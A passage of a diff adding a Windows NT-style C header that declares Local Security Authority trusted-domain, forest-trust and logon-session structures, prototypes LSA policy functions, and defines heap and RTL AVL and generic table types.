POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 + +typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { + + ULONG AuthenticationOptions; + LARGE_INTEGER MaxServiceTicketAge; + LARGE_INTEGER MaxTicketAge; + LARGE_INTEGER MaxRenewAge; + LARGE_INTEGER MaxClockSkew; + LARGE_INTEGER Reserved; +} POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; + +typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { + + PolicyNotifyAuditEventsInformation = 1, + PolicyNotifyAccountDomainInformation, + PolicyNotifyServerRoleInformation, + PolicyNotifyDnsDomainInformation, + PolicyNotifyDomainEfsInformation, + PolicyNotifyDomainKerberosTicketInformation, + PolicyNotifyMachineAccountPasswordInformation, + PolicyNotifyGlobalSaclInformation, + PolicyNotifyMax // must always be the last entry + +} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; + +typedef PVOID LSA_HANDLE, *PLSA_HANDLE; + +typedef enum _TRUSTED_INFORMATION_CLASS { + + TrustedDomainNameInformation = 1, + TrustedControllersInformation, + TrustedPosixOffsetInformation, + TrustedPasswordInformation, + TrustedDomainInformationBasic, + TrustedDomainInformationEx, + TrustedDomainAuthInformation, + TrustedDomainFullInformation, + TrustedDomainAuthInformationInternal, + TrustedDomainFullInformationInternal, + TrustedDomainInformationEx2Internal, + TrustedDomainFullInformation2Internal, + TrustedDomainSupportedEncryptionTypes, +} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; + +typedef struct _TRUSTED_DOMAIN_NAME_INFO { + + LSA_UNICODE_STRING Name; + +} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; + +typedef struct _TRUSTED_CONTROLLERS_INFO { + + ULONG Entries; + PLSA_UNICODE_STRING Names; + +} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; + +typedef struct _TRUSTED_POSIX_OFFSET_INFO { + + ULONG Offset; + +} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; + +typedef struct _TRUSTED_PASSWORD_INFO { + LSA_UNICODE_STRING Password; + LSA_UNICODE_STRING OldPassword; +} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; + +typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; +typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; + +#define TRUST_DIRECTION_DISABLED 0x00000000 +#define TRUST_DIRECTION_INBOUND 0x00000001 +#define TRUST_DIRECTION_OUTBOUND 0x00000002 +#define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) + +#define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before +#define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 +#define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm +#endif + +// Levels 0x5 - 0x000FFFFF reserved for future use +// Provider specific trust levels are from 0x00100000 to 0xFFF00000 + +#define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity +#define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client +#if (_WIN32_WINNT == 0x0500) +#define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust + // to our parent in the org tree... +#define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust + // to another tree root in a forest... +// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use +// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use +// Trust attributes 0x01000000 through 0xFF000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF02FFFF +#endif + +#if (_WIN32_WINNT < 0x0502) +#define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains +#else +#define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains +#endif + +#if (_WIN32_WINNT >= 0x0501) +#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information +#if (_WIN32_WINNT >= 0x0502) +#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise +#define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest +#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes +#if (_WIN32_WINNT >= 0x0600) +#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 +#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypte KRB TGTs +#endif +// Trust attributes 0x00000040 through 0x00200000 are reserved for future use +#else +// Trust attributes 0x00000010 through 0x00200000 are reserved for future use +#endif +// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used +// Trust attributes 0x01000000 through 0x80000000 are reserved for user +#define TRUST_ATTRIBUTES_VALID 0xFF03FFFF +#endif +#define TRUST_ATTRIBUTES_USER 0xFF000000 + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + +} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; + +typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { + + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING FlatName; + PSID Sid; + ULONG TrustDirection; + ULONG TrustType; + ULONG TrustAttributes; + ULONG ForestTrustLength; +#ifdef MIDL_PASS + [size_is( ForestTrustLength )] +#endif + PUCHAR ForestTrustInfo; + +} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; + +#define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry +#define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password +#define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password +#define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number + +typedef struct _LSA_AUTH_INFORMATION { + + LARGE_INTEGER LastUpdateTime; + ULONG AuthType; + ULONG AuthInfoLength; + PUCHAR AuthInfo; +} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { + + ULONG IncomingAuthInfos; + PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; + PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; + ULONG OutgoingAuthInfos; + PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; + PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; + +} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { + + TRUSTED_DOMAIN_INFORMATION_EX Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; + +typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { + + TRUSTED_DOMAIN_INFORMATION_EX2 Information; + TRUSTED_POSIX_OFFSET_INFO PosixOffset; + TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; + +} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; + +typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { + + ULONG SupportedEncryptionTypes; + +} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; + +typedef enum { + + ForestTrustTopLevelName, + ForestTrustTopLevelNameEx, + ForestTrustDomainInfo, + ForestTrustRecordTypeLast = ForestTrustDomainInfo + +} LSA_FOREST_TRUST_RECORD_TYPE; + +#if (_WIN32_WINNT < 0x0502) +#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 +#endif + +// +// Bottom 16 bits of the flags are reserved for disablement reasons +// + +#define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) + +// +// Reasons for a top-level name forest trust record to be disabled +// + +#define LSA_TLN_DISABLED_NEW ( 0x00000001L ) +#define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) +#define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) + +// +// Reasons for a domain information forest trust record to be disabled +// + +#define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) +#define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) +#define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) +#define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) + +typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { + +#ifdef MIDL_PASS + PISID Sid; +#else + PSID Sid; +#endif + LSA_UNICODE_STRING DnsName; + LSA_UNICODE_STRING NetbiosName; + +} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; + + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. +// 128K is large enough that can't be reached in the near future, and small enough not to +// cause memory problems. + +#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) +#endif + +typedef struct _LSA_FOREST_TRUST_BINARY_DATA { + +#ifdef MIDL_PASS + [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; + [size_is( Length )] PUCHAR Buffer; +#else + ULONG Length; + PUCHAR Buffer; +#endif + +} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; + +typedef struct _LSA_FOREST_TRUST_RECORD { + + ULONG Flags; + LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record + LARGE_INTEGER Time; + +#ifdef MIDL_PASS + [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] +#endif + + union { // actual data + +#ifdef MIDL_PASS + [case( ForestTrustTopLevelName, + ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; + [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + [default] LSA_FOREST_TRUST_BINARY_DATA Data; +#else + LSA_UNICODE_STRING TopLevelName; + LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; + LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types +#endif + } ForestTrustData; + +} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; + +#if (_WIN32_WINNT >= 0x0502) +// +// To prevent forest trust blobs of large size, number of records must be +// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO +// + +#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 +#endif + +typedef struct _LSA_FOREST_TRUST_INFORMATION { + +#ifdef MIDL_PASS + [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; + [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; +#else + ULONG RecordCount; + PLSA_FOREST_TRUST_RECORD * Entries; +#endif + +} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; + +typedef enum { + + CollisionTdo, + CollisionXref, + CollisionOther + +} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; + +typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { + + ULONG Index; + LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; + ULONG Flags; + LSA_UNICODE_STRING Name; + +} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; + +typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { + + ULONG RecordCount; +#ifdef MIDL_PASS + [size_is( RecordCount )] +#endif + PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; + +} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; + + +// +// LSA Enumeration Context +// + +typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; + +// +// LSA Enumeration Information +// + +typedef struct _LSA_ENUMERATION_INFORMATION { + + PSID Sid; + +} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; + + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Miscellaneous API function prototypes // +// // +//////////////////////////////////////////////////////////////////////////// + + +NTSTATUS +NTAPI +LsaFreeMemory( + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaClose( + IN LSA_HANDLE ObjectHandle + ); + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _LSA_LAST_INTER_LOGON_INFO { + LARGE_INTEGER LastSuccessfulLogon; + LARGE_INTEGER LastFailedLogon; + ULONG FailedAttemptCountSinceLastSuccessfulLogon; +} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; + +#endif + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + LSA_UNICODE_STRING AuthenticationPackage; + ULONG LogonType; + ULONG Session; + PSID Sid; + LARGE_INTEGER LogonTime; + + LSA_UNICODE_STRING LogonServer; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING Upn; + +#if (_WIN32_WINNT >= 0x0600) + + ULONG UserFlags; + + LSA_LAST_INTER_LOGON_INFO LastLogonInfo; + LSA_UNICODE_STRING LogonScript; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + + LARGE_INTEGER LogoffTime; + LARGE_INTEGER KickOffTime; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + +#endif +} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; + +NTSTATUS +NTAPI +LsaEnumerateLogonSessions( + OUT PULONG LogonSessionCount, + OUT PLUID * LogonSessionList + ); + +NTSTATUS +NTAPI +LsaGetLogonSessionData( + IN PLUID LogonId, + OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData + ); + +#endif +NTSTATUS +NTAPI +LsaOpenPolicy( + IN OPTIONAL PLSA_UNICODE_STRING SystemName, + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE PolicyHandle + ); + + +NTSTATUS +NTAPI +LsaQueryInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaQueryDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetDomainInformationPolicy( + IN LSA_HANDLE PolicyHandle, + IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, + IN OPTIONAL PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaRegisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaUnregisterPolicyChangeNotification( + IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, + IN HANDLE NotificationEventHandle + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomains( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaLookupNames( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID *Sids + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaLookupNames2( + IN LSA_HANDLE PolicyHandle, + IN ULONG Flags, // Reserved + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +NTAPI +LsaLookupSids( + IN LSA_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") +#define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") +#define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") +#define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") +#define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") +#define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") +#define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") +#define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") +#if (_WIN32_WINNT >= 0x0501) +#define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") +#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") +#endif + +NTSTATUS +NTAPI +LsaEnumerateAccountsWithUserRight( + IN LSA_HANDLE PolicyHandle, + IN OPTIONAL PLSA_UNICODE_STRING UserRight, + OUT PVOID *Buffer, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaEnumerateAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + OUT PLSA_UNICODE_STRING *UserRights, + OUT PULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaAddAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN PLSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +NTSTATUS +NTAPI +LsaRemoveAccountRights( + IN LSA_HANDLE PolicyHandle, + IN PSID AccountSid, + IN BOOLEAN AllRights, + IN LSA_UNICODE_STRING UserRights, + IN ULONG CountOfRights + ); + +/////////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy - Trusted Domain Object API function prototypes // +// // +/////////////////////////////////////////////////////////////////////////////// + +NTSTATUS +NTAPI +LsaOpenTrustedDomainByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfo( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInformation( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaDeleteTrustedDomain( + IN LSA_HANDLE PolicyHandle, + IN PSID TrustedDomainSid + ); + +NTSTATUS +NTAPI +LsaQueryTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + OUT PVOID *Buffer + ); + +NTSTATUS +NTAPI +LsaSetTrustedDomainInfoByName( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN TRUSTED_INFORMATION_CLASS InformationClass, + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaEnumerateTrustedDomainsEx( + IN LSA_HANDLE PolicyHandle, + IN OUT PLSA_ENUMERATION_HANDLE EnumerationContext, + OUT PVOID *Buffer, + IN ULONG PreferedMaximumLength, + OUT PULONG CountReturned + ); + +NTSTATUS +NTAPI +LsaCreateTrustedDomainEx( + IN LSA_HANDLE PolicyHandle, + IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, + IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, + IN ACCESS_MASK DesiredAccess, + OUT PLSA_HANDLE TrustedDomainHandle + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +NTAPI +LsaQueryForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo + ); + +NTSTATUS +NTAPI +LsaSetForestTrustInformation( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING TrustedDomainName, + IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, + IN BOOLEAN CheckOnly, + OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo + ); + +// #define TESTING_MATCHING_ROUTINE +#ifdef TESTING_MATCHING_ROUTINE + +NTSTATUS +NTAPI +LsaForestTrustFindMatch( + IN LSA_HANDLE PolicyHandle, + IN ULONG Type, + IN PLSA_UNICODE_STRING Name, + OUT PLSA_UNICODE_STRING * Match + ); + +#endif +#endif + +// +// This API sets the workstation password (equivalent of setting/getting +// the SSI_SECRET_NAME secret) +// + +NTSTATUS +NTAPI +LsaStorePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + IN OPTIONAL PLSA_UNICODE_STRING PrivateData + ); + +NTSTATUS +NTAPI +LsaRetrievePrivateData( + IN LSA_HANDLE PolicyHandle, + IN PLSA_UNICODE_STRING KeyName, + OUT PLSA_UNICODE_STRING * PrivateData + ); + + +ULONG +NTAPI +LsaNtStatusToWinError( + IN NTSTATUS Status + ); + +#endif // _NTLSA_IFS_ +// 04.06.2011 - end + +// +// Driver entry management APIs. +// + +typedef struct _EFI_DRIVER_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH DriverFilePath; +} EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; + +typedef struct _EFI_DRIVER_ENTRY_LIST { + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; + +#define EFI_DRIVER_ENTRY_VERSION 1 +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_STACK_CONTEXT_ENTRY { + ULONG_PTR Address; // stack address + ULONG_PTR Data; // stack contents +} RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; + +typedef struct _RTL_STACK_CONTEXT { + ULONG NumberOfEntries; + RTL_STACK_CONTEXT_ENTRY Entry[1]; +} RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; + +typedef NTSTATUS + (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +struct _RTL_AVL_TABLE; + +typedef struct _RTL_SPLAY_LINKS { + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS; +typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; + +typedef enum _TABLE_SEARCH_RESULT +{ + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS +{ + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +struct _RTL_AVL_TABLE; + +typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID FirstStruct, + IN PVOID SecondStruct + ); + +typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN CLONG ByteSize + ); + +typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID Buffer + ); + +typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( + IN struct _RTL_AVL_TABLE *Table, + IN PVOID UserData, + IN PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( + struct _RTL_AVL_TABLE *Table, + ULONG ByteSize + ); + + +typedef + NTSTATUS + (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( + struct _RTL_AVL_TABLE *Table, + PVOID UserData, + PVOID MatchData + ); + +typedef + RTL_GENERIC_COMPARE_RESULTS + (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef + PVOID + (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef + VOID + (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + +typedef struct _RTL_BALANCED_LINKS +{ + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE +{ + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE; +typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; + +typedef struct _GENERATE_NAME_CONTEXT { + + USHORT Checksum; + BOOLEAN ChecksumInserted; + + UCHAR NameLength; // not including extension + WCHAR NameBuffer[8]; // e.g., "ntoskrnl" + + ULONG ExtensionLength; // including dot + WCHAR ExtensionBuffer[4]; // e.g., ".exe" + + ULONG LastIndexValue; + +} GENERATE_NAME_CONTEXT; 